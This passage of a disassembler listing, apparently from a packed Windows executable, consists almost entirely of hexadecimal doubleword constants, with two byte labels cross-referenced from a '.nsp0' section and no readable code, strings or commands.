		dd 73CC7F0Bh, 73D1C27h,	0B1154807h, 0C5C7681Dh,	557142A4h
		dd 0EAB9B9B7h, 241DAE37h, 5C129458h, 0C63C3373h, 4B21D743h
		dd 2B794CC2h, 0CB0CFFAh, 3A870807h, 0F4951BEAh,	62AA3127h
		dd 4EC40E41h, 7B6E5F01h, 0C971E734h, 325E67AFh,	7694C621h
		dd 0EDD5A2AEh, 7426355Fh, 5AB3D7F2h, 83E21756h,	0B2DDC3FDh
		dd 0FC2EB54Bh, 0D6905032h, 164BD21Fh, 0FF63F2E2h, 0F50EE108h
		dd 8BA8B149h, 0C0D40228h, 16903C0Dh, 75DEB41Eh,	9385E5DDh
		dd 5C401665h, 916704DBh, 1A2BAA48h, 2BBC189Bh, 0CB65928h
		dd 1C884597h, 0C5A44478h, 0B5FB78CEh, 1D66B671h, 6A990602h
		dd 18EF9027h, 19DBE65Bh, 3CD8FA7Ah, 995485Ch, 66A512F5h
		dd 99B88A6Eh, 12510E9Dh, 51316C43h, 60AB3104h, 830199B4h
		dd 154EDECCh, 64D2FF04h, 0A7180701h, 154705AFh,	0AB3D8571h
		dd 0F2244740h, 494A2908h, 78B97107h, 47FD7D90h,	0F1950076h
		dd 5F706EE1h, 14C89694h, 7DD30EAFh, 0D976D27Bh,	0EE440EAEh
		dd 301FC28h, 0A5475F54h, 1B849485h, 3F837CADh, 9C527CE5h
		dd 0BF58C3ABh, 0B52A3BA8h, 5D9F928Dh, 8EEBA93h,	0C5A09721h
		dd 6C4619ADh, 0DFEEED84h, 0B1108FACh, 0FCAA8CD0h, 98237A12h
		dd 68FED411h, 9C0323CBh, 0F997AC0Bh, 380EC245h,	0F7210055h
		dd 35324395h, 0CCE2AA41h, 94E06D8Eh, 271F29FCh,	0A57A51C2h
		dd 0AF5DD21Bh, 5AFAB1AEh, 0D43EB60Ah, 9E0FAA1Ah, 0E3342D62h
		dd 4A49EA0Ah, 37808CF9h, 333524B3h, 975FD149h, 82566FB0h
		dd 95B1508Ah, 6DF31CC6h, 87D24FA1h, 4DBF8574h, 5EE38F3Ah
		dd 0C27799CCh, 0B0074515h, 0BFCDD8D6h, 6ADA77CBh, 62D0741Eh
		dd 92C049A0h, 5294AB82h, 99B20AC2h, 45FDDAB1h, 1E850057h
		dd 0E80B42C9h, 0E0A09E02h, 22C33AA4h, 0DEE3763Ch, 0F4BA3B85h
		dd 0A31D480Fh, 68D98F76h, 8325F438h, 0DDBB79BDh, 30EFCEBAh
		dd 79DF5482h, 2955BCFCh, 366B77EEh, 3B07C762h, 0AB4D398Dh
		dd 0EE567220h, 0FC347DBBh, 0B30EF954h, 0F3FF7669h, 9A16F199h
		dd 0DD49B83h, 3276C240h, 50E047B9h, 2C82CE2Ah, 8AFB4E06h
		dd 119C8ED8h, 668D6BCFh, 43859B5Fh, 0BBED58A4h,	2D9DE4B6h
		dd 63BAF08Bh, 31F6CB81h, 0D450F05Eh, 0F13875E5h, 0B7E1F251h
		dd 766D8127h, 29569CA1h, 25A902E4h, 59CCA062h, 641FB009h
		dd 8B784835h, 559A4F22h, 50F01CB1h, 0BB912819h,	0A153CF52h
		dd 4FA81D64h, 74F32C30h, 29AF066h, 0DBF9CFDFh, 0E5C39CD6h
		dd 0E51F1796h, 612A5094h, 3FEBF9EEh, 0AD2F64E3h, 0DD187478h
		dd 0E96D1367h, 0AA1CF3CCh, 7A942FADh, 9E3A7B1h,	5862C513h
		dd 0EA79D61Fh, 0CB1542FBh, 3486E4A5h, 88C19A21h, 3F7031AAh
		dd 2BFA6441h, 3591D86Dh, 72EACE9Ah, 2C8BD984h, 3CF30290h
		dd 37F9C493h, 489289DBh, 3D0D265Fh, 388DA566h, 7721D50Eh
		dd 0E177C668h, 54B93AE6h, 200E96E7h, 3D8A61B2h,	535DF6C2h
		dd 9EBC7603h, 5C53FFDEh, 0AC90D77h, 0A68DA3F0h,	0BFFF5A1Ch
		dd 130E6D1Fh, 0EE17AFB0h, 34314876h, 0E8924A24h, 19902AE3h
		dd 0AE10DD9Fh, 0D1AC7270h, 0F93755F4h, 7AF4D768h, 7CA5D3Bh
		dd 2F20C0E1h, 0D4F254ADh, 8920F796h, 0D02635Dh,	2837F9A9h
		dd 2106F303h, 66AB0E12h, 0D28091A7h, 78E6FEDDh,	0DE75ABC7h
		dd 2123B8B2h, 0E5F0C6C4h, 4C08691Bh, 80818D10h,	2EEAE24Dh
		dd 35807559h, 4B2A908Ch, 58B4DC86h, 0E382AE34h,	0F266E756h
		dd 133D1218h, 17F45E9Ah, 0A9D2F615h, 20B2217Dh,	0CD0821CFh
		dd 7BC488D2h, 609C5546h, 26737A43h, 0C3F8EAEFh,	90B59397h
		dd 72F437FFh, 0E79CBC5Bh, 7FC40A73h, 69B75DC1h,	3F71F014h
		dd 24C93765h, 0B9BB4633h, 0EE6EE4DDh, 117A0923h, 0B05CB86h
		dd 0E8FCED73h, 0BFFB51EAh, 0D77414AAh, 0FAE56478h, 4B2EE635h
		dd 4897C94Bh, 43BB4EE4h, 0C17BB42Dh, 0D086B1E0h, 0DB88DD18h
		dd 798087C0h, 9A5E1D9Bh, 0FF2F6C66h, 0AD127456h, 0C7F1808Eh
		dd 22371643h, 0C1B089B2h, 0A8403377h, 4BBA4FD1h, 8DB2FF93h
		dd 0DE0C337Ah, 883C039Fh, 243F2125h, 57A56267h,	978D9FCEh
		dd 9B37CC05h, 7C330B8Dh, 61FE3Bh, 42DF1B80h, 0D888C56Bh
		dd 0F6D33F4h, 0F0EC9633h, 8B0D89Bh, 0E07A1E1Fh,	3A04FFCh
		dd 55DC525Dh, 44F90027h, 5E7F0B28h, 4BDE2458h, 0CA4E903Ah
		dd 0F7D8C0E4h, 57F6C453h, 0DA4FD54Ah, 0ED36A85Ch, 0E4BFEB32h
		dd 99B71798h, 482EF71Ah, 6542E917h, 28D978ABh, 224F5082h
		dd 3EAF8D70h, 0A8E5986Eh, 7E36B402h, 0B9E46B4Dh, 0C9462D50h
		dd 9620F9EEh, 5C9F8B5Ch, 8807B9EAh, 0C2DBF1EDh,	35658A7Fh
		dd 44D9E403h, 7C73B305h, 143A3AA2h, 1BD98160h, 0B87CBB0Dh
		dd 0E127A1F3h, 8988D7Dh, 6B4F7FB9h, 0FDFD01DEh,	0C8EB9026h
		dd 0BA13DD61h, 71E63AF7h, 0A0061975h, 77658020h, 68E31999h
		dd 84F24B21h, 0F9A9D5B7h, 38B2825Eh, 6116E796h,	9826AB92h
		dd 847E9E18h, 1373DA15h, 0E32E24C9h, 0E7B64D9Fh, 0D01C7886h
		dd 2C4A148h, 5617BC17h,	8CBFCD8Bh, 6A1A59CCh, 2513C36Dh
		dd 0E9EB4CCFh, 0A702D4EEh, 3DB4BAA9h, 14D669A6h, 0D82D111Eh
		dd 0A71A8D22h, 64D9E465h, 0B1FF668Dh, 0F7C711BBh, 369D5D7Fh
		dd 84DAA503h, 3EB49FD7h, 7DDE321Eh, 20606DEh, 1AE7AC8Fh
		dd 0EDE7D851h, 0AA02CAAFh, 0A1058433h, 9B6909B5h, 1AA34AA0h
		dd 0E2D18F33h, 4B179A86h, 1F38456Bh, 5938EECCh,	8B9A2565h
		dd 1960093h, 7B00C70Dh,	1E1293EDh, 5EEF41EEh, 0CBEBBA93h
		dd 4AAAE6C6h, 84F697FDh, 2A9C4B5Ch, 7C7FAF02h, 891C75A7h
		dd 0BDD4E743h, 394C9D1Ah, 0E699CB86h, 0F647F156h, 98416FAEh
		dd 0CDA3D28Ah, 1B04DD0Bh, 0C81B03ADh, 8D95B8E8h, 7F09B747h
		dd 0D597A075h, 16EC9EBDh, 0CFFCC19Bh, 6C0D0DA5h, 0E7610AECh
		dd 44E61164h, 27D51E8Bh, 53F07D6Ch, 6B3D4860h, 483CC71Eh
		dd 55293733h, 119135C3h, 0F683D8F9h, 0FD3D87F1h, 0CE38B302h
		dd 68D1B337h, 0C0D3F7BEh, 1F335340h, 0BC30111Fh, 0AF0C9159h
		dd 8686F324h, 85D5816Eh, 0D79C581Eh, 0E0B1A3D1h, 1AA47178h
		dd 0C8D9FFF4h, 0D86A48A9h, 597CB305h, 0BCCBCC2Ah, 0E2B7B8EEh
		dd 3519FC43h, 137D582Dh, 27024282h, 0CADFD1F1h,	0CDF164BDh
		dd 6C2DD1BEh, 38DF6030h, 2692C943h, 894D43C7h, 1CC6F0A1h
		dd 8DD97601h, 61DD9C7Eh, 0FB09188Dh, 4B9CCA4Ah,	0C85B1191h
		dd 0F6CC217Fh, 2ADAA066h, 1DFE7643h, 0BA7DABAh,	0F78E0DBh
		dd 0DF49D1BEh, 63D2F435h, 1E2D89EAh, 0E715F730h, 2C48925Ah
		dd 94C74F09h, 0E5609299h
		dd 0F67A866Bh, 3C9D3AE6h, 8FFDE4E7h, 5C8BD30Eh,	83DD81A6h
		dd 6D004FFDh, 0C918753Ch, 72CA2981h, 0DABB8B03h, 36BC494Ch
		dd 946A05E2h, 51165298h, 8318ECC1h, 29D8F46Ch, 0D20634A4h
		dd 0CBBF56BCh, 0A71158C4h, 0D2EE86A8h, 896B61B5h, 466638E4h
		dd 25936ABAh, 3770E83Ah, 7BE835F0h, 61AA0D2Eh, 82D2CF5Fh
		dd 110BBA3Fh, 26ECC927h, 0CD2F004h, 500F511Bh, 2EE1BE59h
		dd 0A29A7DCEh, 5D01ABCDh, 0B4AD8F56h, 8362DC9h,	3ACF11C8h
		dd 0A787EC61h, 0F8F31AABh, 22952658h, 0C71E764Ah, 98FFC8B9h
		dd 0A9210DC4h, 0D1C8DD2Bh, 5D794151h, 612CEE4Ah, 41448A7Eh
		dd 3556359Fh, 0E15126C3h, 0B9CA6456h, 7ACC3EBDh, 3CB46ABFh
		dd 990358D3h, 22CC0BAEh, 6E3DBFA8h, 9BD7EFA8h, 114ECFDAh
		dd 0C18517A3h, 3C872245h, 0AC6BDC49h, 0F5F4EC27h, 0A74C899Dh
		dd 6D685CA7h, 602A2893h, 6B5DEFCFh, 0AEA4EA11h,	0C18590A9h
		dd 0E55B6F59h, 4026A93Fh, 80CFC0D1h, 0F1EE155h,	0B4ADE3CDh
		dd 89285DCBh, 0E69AB460h, 0CF78C414h, 27EFC5B6h, 0DF0E7DF6h
		dd 9A3C1E8Bh, 8227DF16h, 8F58A8E2h, 0E3397BCCh,	0A829B2D1h
		dd 29C996DCh, 0D50DCBC3h, 0B4443A45h, 636B1F4Ah, 0DF0F404Ah
		dd 3A58A2CEh, 49D23196h, 46D02095h, 87610836h, 67C31352h
		dd 6A406E0Ch, 17BB9814h, 99EB5100h, 94F2AC7Fh, 51066273h
		dd 0A1F2F13Dh, 7B5B163Ah, 0A197FCEBh, 92A177Eh,	644DDA98h
		dd 34378F92h, 0C6EF20A7h, 253D5B99h, 92FACBB5h,	62A3C270h
		dd 5FAEE25Ch, 74DA67FDh, 140BFD10h, 0BED39F38h,	82419FE3h
		dd 0A69CF019h, 164FE98Dh, 71733615h, 0BBE6AB2Dh, 90AAC05h
		dd 38CD4AC2h, 3617DAEEh, 40FF609Ah, 256ADB56h, 680C9E08h
		dd 0EDBCC024h, 9207B731h, 5F385BCBh, 5B9433C1h,	8317C5E3h
		dd 21A25B31h, 2D3168AFh, 89D8CAAh, 0F9C4E4B5h, 3A85B579h
		dd 3B1CE180h, 7FF959F8h, 59C385C7h, 5A8C70FBh, 54B78873h
		dd 63437CA5h, 0CDD894E8h, 7059165Ch, 280893EFh,	6F01AE86h
		dd 268099Bh, 4486F16Ch,	59D36761h, 7A787ACBh, 0EA03C928h
		dd 0FD2E3F79h, 8B3AB76Ah, 9D3F82CAh, 241D6F6Eh,	0A67964B1h
		dd 0FEC6E856h, 84F7D4E0h, 0C0C29D50h, 0F543556Bh, 8F216E73h
		dd 3282AB36h, 0E55B03E8h, 8745D4B6h, 0E57A2B19h, 0E0AC4D63h
		dd 20BA5D3Dh, 0A88750D3h, 970D0BD0h, 32F56814h,	16AC3750h
		dd 47457BECh, 18FB29A5h, 0F5F2EA60h, 61162CA1h,	0DA4C4D95h
		dd 93F5F8C4h, 4451E13Ah, 114DF567h, 2CAA3000h, 6E7ED335h
		dd 0C680B381h, 97F241BEh, 4944EB71h, 543298F1h,	17E92ACDh
		dd 6CBD3D3Ch, 0BA118726h, 0B68889DEh, 0D43DC703h, 0DA78D47Ah
		dd 5347B771h, 4AD351DBh, 0CD7EC88Dh, 0A7DB2812h, 0FA8A6111h
		dd 0B368CBDFh, 31A208A8h, 0D801772h, 0D8CCD816h, 0A7C13B7Eh
		dd 2FEF3A5Fh, 4CA93508h, 896D03FAh, 6821DE53h, 58EF9EFAh
		dd 0ED0112FFh, 461E6E87h, 2F74F9DBh, 9990A77Bh,	7C5CB0AFh
		dd 3A635624h, 0FC85143h, 112DD450h, 0E1FBC5EFh,	5850E6D1h
		dd 58A1A29Bh, 21DC18Eh,	279BE3F9h, 57603B15h, 54F9262Fh
		dd 0B1F7B862h, 0ACBB8888h, 0B3B263D5h, 44F01745h, 0D35CFF2Eh
		dd 5AA44568h, 0A0BC503Fh, 1D10D592h, 54C84391h,	0CA3BF5D4h
		dd 0BBEAE38Bh, 0BD79C2B1h, 0F7CF4C0Bh, 79D58CDAh, 12E3B04Bh
		dd 70830CFCh, 7ACFAD58h, 8A1735C1h, 4D51053Ch, 0BBE6BFA8h
		dd 3FB33193h, 4FC57A76h, 0E11EC08Fh, 545145F1h,	0F873316Eh
		dd 0BD706C6Eh, 0DA9F5E4Bh, 147D3290h, 20A83DE5h, 0EC16ECF1h
		dd 503AA124h, 41508895h, 0F3CE0A57h, 5FE8A813h,	0E476CC45h
		dd 7E23D949h, 6C24582Eh, 6DB69AF5h, 540F44B4h, 0AFBD003Fh
		dd 0C7D236C0h, 2060DEC6h, 856E0117h, 0E52A15CDh, 7EB3AB28h
		dd 0ED662BE6h, 0A37645F2h, 0BE51AF17h, 0F4FD4948h, 3C72D397h
		dd 158BF09Dh, 3F2AF863h, 0D2F2AE74h, 0BB8ED172h, 5BFEAA6h
		dd 0E9CD24F2h, 3D89BE6Fh, 32A435BFh, 5D0CD725h,	0A42EA4A7h
		dd 28E71E5Ah, 0AED96868h, 0DB444D18h, 7A67742Fh, 6AF6380h
		dd 89AD1CA6h, 2391A781h, 4B343337h, 43605126h, 0A25C2D63h
		dd 704FF7B2h, 1D2D6BE0h, 0C74922CCh, 0F40EDF1Fh, 0B96F3EFBh
		dd 0F22A226Bh, 7F351B9Dh, 86E98AE1h, 2E6A475h, 4EC08453h
		dd 3BBDBE04h, 12F79EC7h, 5865C71h, 8DD326D0h, 0DAE4F3B9h
		dd 0D33A83E5h, 0A8F29A3Ch, 0C8B33675h, 8A22A46Fh, 3A1521AAh
		dd 0DFCFFC85h, 38CE1D17h, 910B8641h, 0BF7BB15Dh, 456EEC2Dh
		dd 69F6B76Bh, 1351AB9Ch, 96FEF78Eh, 54F89FDCh, 4AD46A76h
		dd 0A0FA95F6h, 7577AA87h, 0FE5390B1h, 17136CDDh, 1529972Ch
		dd 43D2D914h, 0D51B1582h, 0D032136Fh, 4E023C38h, 9FC30009h
		dd 0AA89F71Bh, 0E721BD04h, 23F206E2h, 0B66063FAh, 5970A008h
		dd 212B9C9Eh, 8480825Ch, 6173E1C0h, 0E688AD57h,	75585F01h
		dd 0D322D3B0h, 6C2A52BCh, 26F82EE3h, 7B615E8Ah,	4F4FD17Dh
		dd 0B5046257h, 0A6544F98h, 0CEE616A3h, 0C4CB3AFAh, 51430B5Ch
		dd 0DF7C2C6Eh, 8BB5DA16h, 755F3DC3h, 0F111EA04h, 95C0D706h
		dd 15971E6Dh, 7371FC09h, 8A51F9B4h, 1D44E4ECh, 0C51496F5h
		dd 732A1CD5h, 5220DA57h, 6F871ADFh, 79C34B5Dh, 0B9703DCEh
		dd 83872C6Dh, 6A8D206Dh, 0C645A2C9h, 34D07386h,	0EEE90531h
		dd 99F21EA5h, 8F10C084h, 0FED37588h, 7380573Bh,	7AC3462Fh
		dd 0A29525EBh, 93E1FF7Ch, 0C00C0108h, 0B29B0833h, 97A0A63Bh
		dd 3CD87EDDh, 0CDF844A1h, 0AF9CDA3Ch, 0BB227DB9h, 1936F55Fh
		dd 144B8BD5h, 1DADFA07h, 2E2F4EE8h, 305B836Ch, 80BAEC61h
		dd 0F8837DD5h, 0CEC5014Dh, 4869B907h, 0B2E22D46h, 0D4348DAFh
		dd 3DCBE623h, 890AFA8Ah, 6459F617h, 0A3AF30CCh,	621880FBh
		dd 43CD725Bh, 1F1F44D3h, 7E8D3291h, 35D93EA0h, 0A266EEB5h
		dd 9CA3D6B4h, 50DC7372h, 940B38FDh, 0F3D2909Ah,	4E2B3B49h
		dd 0A95F00D2h, 0F4E62FE8h, 0B3D8B3D3h, 0BBC5A77Fh, 142DD823h
		dd 0E67B2B7Bh, 2AB9E2FBh, 0EF69B24Bh, 0F4620874h, 0E3C9D6E0h
		dd 4EE74C80h, 0B39D6CFDh, 55ABDCE8h, 61131A16h,	15C3E56Dh
		dd 0CA713BCEh, 0ABD6F642h, 79100788h, 9B8663E9h, 8FEF127Ah
		dd 93AA8BE4h, 6BD18DF7h, 3A235485h, 0DFE74D21h,	29F5E9A5h
		dd 74F197Ch, 351079D4h,	3832DE71h, 5AC3FA08h, 62562948h
		dd 0D5A1AA87h, 3D53D2E7h, 73E67FD0h, 5742CD20h,	0F304E6E9h
		dd 927C1459h, 0BC524FF9h, 2DA59D75h, 2334ADDFh,	33C8F16h
		dd 0CD3A47A4h, 90E53A2Ah, 0BE37E6Bh, 69D99A78h,	6B33A4F6h
		dd 0B195BED3h, 5C8D6A1Ch, 25CC390h, 8607131Eh, 6C8FD51Ch
		dd 0C6C30AEDh, 6C88EFB9h, 15BC5BB6h, 0B252A9B0h, 3AF3B28Ah
		dd 0B714F430h, 3AC0022Eh, 0A7BBC7E5h, 7DAB5303h, 0CAF8A14Ah
		dd 0A5F124A2h, 65BEF96Fh, 0E8E25858h, 0C0977C17h, 787B42A9h
		dd 1068C3D5h, 168E3C3Dh, 784AC5BBh, 19834356h, 87CFBED3h
		dd 72323739h, 333FCC4h,	2C31A7A8h, 0F9480098h, 36D6B736h
		dd 4ECAABC2h, 0A8394296h, 117A4C33h, 3EE82005h,	9508D591h
		dd 367FD595h, 0C9AA9154h, 0D42A3A46h, 740C05BAh, 9BA46C63h
		dd 5E1CE070h, 49B8095Ah, 30DEC30Bh, 0CEC74133h,	6490D134h
		dd 0EC4FAAE7h, 0EA1F129Ch, 2ADC3797h, 0FEE400E0h, 74F572F2h
		dd 3FF004BEh, 0ABD37E6h, 1D384626h, 14D8C399h, 5EEAB275h
		dd 90484A0Ah, 0B5D232FBh, 0EFFBC992h, 4AC7A7FAh, 0D50A66D2h
		dd 4EF42DE9h, 6F1DDCB9h
		dd 665AD6DBh, 8E96058Ch, 431BDC8Ah, 0B97ED0A5h,	27579405h
		dd 450FBC64h, 379F5733h, 0F626F46Ah, 0DF14A3A7h, 0F6DCEDFBh
		dd 0FCAF7D05h, 0CC54B53Fh, 98D1357Eh, 0A2988CD5h, 0E738EB19h
		dd 60CF058h, 848F52FEh,	0EC98BF9Ah, 92C97059h, 23BC372h
		dd 2FB6B7BCh, 9108176Dh, 5FACB414h, 798A93F3h, 0BBF46310h
		dd 301ADA67h, 7BBA98BAh, 0E5EE42Ah, 0E72D931Bh,	3A3EBD3Bh
		dd 6D659DE6h, 0C9847EF0h, 8F3883A8h, 8A7EE1ADh,	0F8089B0Dh
		dd 45DE8CD5h, 439A34D2h, 0E998CE42h, 7972E23h, 0AE0B0ADCh
		dd 51BE9F70h, 4DAC9284h, 707B9C9Eh, 0F12EE498h,	7219AE90h
		dd 0D9E90B9Ah, 318E763Fh, 0C24F0EA2h, 0A64242B3h, 0F308AC6Eh
		dd 0FFAEAF15h, 0DD04B41Bh, 27083C55h, 0C3005AAAh, 2386940Eh
		dd 2D6E52ABh, 12C43534h, 0E80BD2B7h, 0EACB21AAh, 53F98397h
		dd 0CED26831h, 54C48424h, 45F859CFh
		db 44h,	0DEh, 4Ch
byte_53004B	db 0BBh			; DATA XREF: .nsp0:0043934Do
					; .nsp0:00439B5Do
		dd 0A76FA8B9h, 7736546Fh
		db 0E2h
byte_530055	db 3Bh,	1Fh, 0F9h	; DATA XREF: .nsp0:off_43FD0Co
					; .nsp0:off_43FD24o
		dd 0CB195D50h, 9C27F4DEh, 0BFC2959Ah, 0E1A65AA1h, 0AD43FC1Bh
		dd 0C761E47Bh, 0F165D9E9h, 4A864D28h, 9FAC4722h, 9C5DB0CFh
		dd 3796F469h, 93250A0Ch, 112DA6B9h, 7F66F7A5h, 3074D89h
		dd 10ECA9B7h, 0AF331C95h, 71C22606h, 9D41DB3Dh,	33BFD5B4h
		dd 0A5421E1Bh, 45D10586h, 0CB1A5A1Ch, 4B8E6CA4h, 0F6657EE6h
		dd 0B3C0D3CAh, 7E99C4CBh, 0C9C479EDh, 145F0DA0h, 3A650C9Fh
		dd 12678C1Ch, 0A72CF80Fh, 141FF1F9h, 20518786h,	0F7A57500h
		dd 78F2C8C0h, 7EBAB6CDh, 0CEED165Eh, 7F80FFDCh,	7992A3ADh
		dd 0D6E3729Dh, 0BD005571h, 0F142F9A8h, 0A03A1276h, 0D30D562Ch
		dd 0D3EFC2D3h, 297B36D6h, 4905A1D1h, 0A1DE737Eh, 0CE33C0F7h
		dd 8507B976h, 219A4D91h, 0DA360FBAh, 448C8FFh, 24F54729h
		dd 80709498h, 77D5D57Fh, 59293E54h, 0CAFD73D0h,	0BFFD072Ah
		dd 16E6BB6Fh, 688A4BCEh, 0D7BDFFF0h, 8E161C1Dh,	0C7024EF3h
		dd 0A62BF4D7h, 0DE3F3677h, 13FC23EEh, 46718441h, 8F006CC7h
		dd 87861CBBh, 0FEA17009h, 38465C02h, 0F53CEDF3h, 0C42B8696h
		dd 0AB802A55h, 0D3AB48C6h, 0A855541Eh, 206EFDAh, 0FB86745Ch
		dd 0AA2CC792h, 41D3FDD8h, 6F8B0DA1h, 822EB6FFh,	5D9CF143h
		dd 789B7397h, 23372BC0h, 66EB45E8h, 3CE90E8Dh, 5B1E6EA3h
		dd 0B6A1C327h, 0B31A16AFh, 0FC5B98F6h, 0EEBC05BBh, 92DD101Ch
		dd 59033E93h, 0CBD6Bh, 899D32B1h, 3969BBF1h, 0D7670734h
		dd 6FB74B8h, 43101C86h,	5E8E0AA8h, 3BF7AEA6h, 40F55163h
		dd 1F34300Ah, 242933F0h, 2C956324h, 0AD0A131Eh,	177FB4A5h
		dd 0B277571Fh, 88ECB0CCh, 0B5577E38h, 0B7391985h, 0CA9ADAC7h
		dd 2EC53201h, 0C5859732h, 219840B4h, 21C9674Fh,	7425CCFCh
		dd 0FBB90505h, 0D1AA8DC2h, 82B496C0h, 4391FFBDh, 0FF7343F2h
		dd 0FF9865B0h, 88AE3D01h, 0FD800F6Dh, 3BA0CE41h, 0C4505BF3h
		dd 60069B1Dh, 0A4D665C5h, 953F4B65h, 65EB7AB1h,	0BCAE84Eh
		dd 23FFFABDh, 0DA98134Eh, 63B19720h, 9B4AB53Bh,	5E743A6Ah
		dd 71B4F2B7h, 97DF0E18h, 0D27385DDh, 83BE91C0h,	275A5C2Eh
		dd 8B46DDDDh, 1D50B7E1h, 279722B6h, 0D9D3F064h,	546EC352h
		dd 0F4A74AE9h, 0C3E802E9h, 9588FFE6h, 55E09DC2h, 0C427543Ah
		dd 0DC6A0BFFh, 9960260Ah, 0DE76CA89h, 31BDCCFDh, 7F63AA6Dh
		dd 0E1135C51h, 2D83FF5Fh, 707B6E0Bh, 594423E9h,	3855C4C8h
		dd 0AD11046Bh, 9927722Bh, 0F56A9FCAh, 37236F36h, 0A3708651h
		dd 0E7A32BAEh, 7A9DD163h, 93A7DEC8h, 0FAAC4F4h,	2027F174h
		dd 714EEF5Ah, 2C4B41EFh, 0BD3D106Ah, 619A1F1h, 0B4DD04A4h
		dd 0CD66295h, 85075B61h, 1D329BF8h, 482CC2h, 46B0ADBh
		dd 1422E2F0h, 584CC9Bh,	5183A468h, 0F9B07154h, 823E3125h
		dd 0E89A563Eh, 0E14C28EAh, 0EB24057Ah, 443EB115h, 731AB90Ah
		dd 70EBE747h, 0BF3F3329h, 79667C68h, 0F2346Ch, 3811C175h
		dd 928BB55Bh, 62C8C230h, 8C933BB1h, 823FBE7h, 0B30AB79Ch
		dd 0C6988CE8h, 0A79B9610h, 5BEE64AFh, 938733DDh, 98BB4AB9h
		dd 439B2C4Fh, 0EF757740h, 1495A7F1h, 48118236h,	79773BD8h
		dd 0C98140AAh, 2ADF4898h, 1A103352h, 35619BEh, 8257A937h
		dd 5FA55C3Dh, 3B65ADCDh, 0CFC05EAFh, 0DEA168D9h, 775FBC3Bh
		dd 0A5934247h, 6907BEBFh, 0B4F69A0Bh, 0BFE7C5DDh, 7C3F5D55h
		dd 60A9DA40h, 7141350Bh, 0CCD4A4EEh, 9231AFDEh,	0EB9A2D96h
		dd 234816D1h, 0C19D9753h, 0FF21E61Eh, 0BB8DC5E9h, 4E3764A5h
		dd 7669483Dh, 45DD11BCh, 2E876A61h, 18E0B5Fh, 8957EC2h
		dd 6E0B3522h, 7F26F542h, 3EE888B0h, 0DFDFC16h, 0EA69C5A0h
		dd 0C2CE82E8h, 9EAC2190h, 0C330EF5Fh, 573B9C43h, 0AE36FE1Ch
		dd 62D39CFh, 3E31CB21h,	0E947A8E8h, 4BACE972h, 91546D41h
		dd 0DC9CC115h, 11E9110Ch, 0EDF2E220h, 0FD4E18A6h, 1BEF6F91h
		dd 0E3F83BF4h, 0E3998426h, 0E6D27E35h, 6C6B19D3h, 1F49A06Dh
		dd 7A0F6999h, 6DE0F0D6h, 0B4911FD4h, 0F0F91DEBh, 0E50A07F4h
		dd 96CFF082h, 0F8AEA534h, 4795A63Fh, 9790CD69h,	0BAEE6D21h
		dd 1C8D7573h, 10DD4AABh, 3F3D3917h, 89CA0AABh, 18EF0231h
		dd 4910D263h, 0E4884D27h, 2FBE477Dh, 0A50B8EC0h, 4A20B6Bh
		dd 0FD29FDB7h, 0D1E2CB89h, 4A9F8E1Bh, 58FCB45h,	7F8C71E3h
		dd 701247E2h, 0D1E395BBh, 41F7DE32h, 9D23A960h,	38CAEBA7h
		dd 0B91410Bh, 0A324A992h, 83E700E0h, 0A9069EDEh, 5FC94910h
		dd 75C6D7D4h, 569D3h, 9BABDA1Ch, 0BE42EEA1h, 0C72EB065h
		dd 0C1FB0A2Fh, 0E4A3BB12h, 0BB2602DFh, 0CE8E9633h, 4A4E0F6Ch
		dd 6EF3C76Bh, 6BD374ACh, 30A1222Ch, 620AB88Dh, 0B751E7Ch
		dd 0AA40A3B6h, 0A9FADCDDh, 0FA2F60D4h, 3CDCB8E6h, 5F1FCAAh
		dd 84134D45h, 0F142EC74h, 7D888581h, 0B3DCCDB2h, 3CEA4D22h
		dd 1D07BCA2h, 82832D54h, 0E9BF4961h, 0E550AD89h, 0D4C1A9EBh
		dd 2F7EE146h, 25B141A2h, 79870FAFh, 0AA6118D8h,	0B2C2A00h
		dd 0D0BF038h, 2E4CA08Dh, 96275A1Ah, 0B9450830h,	0ADD6EB4Fh
		dd 0D9BBC9F5h, 0A1348E41h, 0E6602AD2h, 635B64EDh, 0A55FF72Dh
		dd 8B40EFF3h, 2F67C45Eh, 92951263h, 2C2E0B38h, 16D63851h
		dd 3F8F9286h, 5FFEA1ACh, 344BD7C7h, 0A192E2Fh, 4D0C2759h
		dd 29C01AC1h, 0C17BB469h, 0BD6F2C12h, 252288BDh, 749873D6h
		dd 274CA47Bh, 8D37FF18h, 32C9D961h, 382CE421h, 7062438h
		dd 1DAC8C87h, 0B069C99Fh, 0C8B72D20h, 0A8FFB4F0h, 0EC7ACA6Ch
		dd 1D17056Bh, 6CA4AA8Ch, 0AF653D1Dh, 0DD43BAD7h, 30AA6807h
		dd 0DAD8A441h, 1B943643h, 9036368Ah, 0A17B52AEh, 8F3FFBC4h
		dd 0BB5DC0EBh, 6920BC3Ch, 97D1C03Fh, 28DC7F9h, 10EFD77Dh
		dd 0D5A548F3h, 6CA61C4Fh, 4123F75Bh, 0C83EE5EEh, 71C5069Fh
		dd 0A59E636Fh, 0B11029C5h, 83E05701h, 0E4C1B33Ah, 0BF6259EFh
		dd 9F801B82h, 0AEB31DC7h, 3AB762B9h, 9CD8ECBFh,	9E4C4B14h
		dd 0F995AD02h, 0D5C7E33Eh, 7A4A7F16h, 3E85C995h, 0F362627Eh
		dd 0D18F55CCh, 35B36519h, 0CAE43BE6h, 0F522D912h, 0FF5CA190h
		dd 0B0DA95C0h, 24C3A032h, 87CCA55Ah, 60F71F1Eh,	0F1BA86C8h
		dd 0A1A78D57h, 4E3E556Dh, 0A263FCAAh, 0D149418Dh, 66B54809h
		dd 0FCBFA749h, 11EF1E85h, 0B370C5CBh, 0BF36B84h, 7ABC61A4h
		dd 285276E1h, 0C4BE971Fh, 0E5BCA0CBh, 0E6A13029h, 199083C3h
		dd 0A0ACE4C4h, 0C2864632h, 0DBDA6933h, 0AC3276FEh, 0A223AAA7h
		dd 7A477678h, 0B85CB19Ah, 70412E72h, 7BB1BFCBh,	9D2FAA5Eh
		dd 0F7ADA8B6h, 4F55D11Bh, 37A34D72h, 6825FF47h,	18CE1A2Ch
		dd 9BED7FCFh, 0D209D02Bh, 0D2CA22E5h, 0F87603C1h, 44513F91h
		dd 0A97F9CF2h, 0F89A457Fh, 1294BBBFh, 325E796Dh, 5B45119Ch
		dd 0FAC250A4h, 8BC367B3h, 6B7AE59Ah, 1918BFC7h,	2CE995E8h
		dd 68673C00h, 921ECCADh, 0C0454557h, 908C5153h,	9DDCC3D6h
		dd 4B4ECD94h, 6397D45Ch, 5A2025B0h, 9CA2E120h, 0D955DAC9h
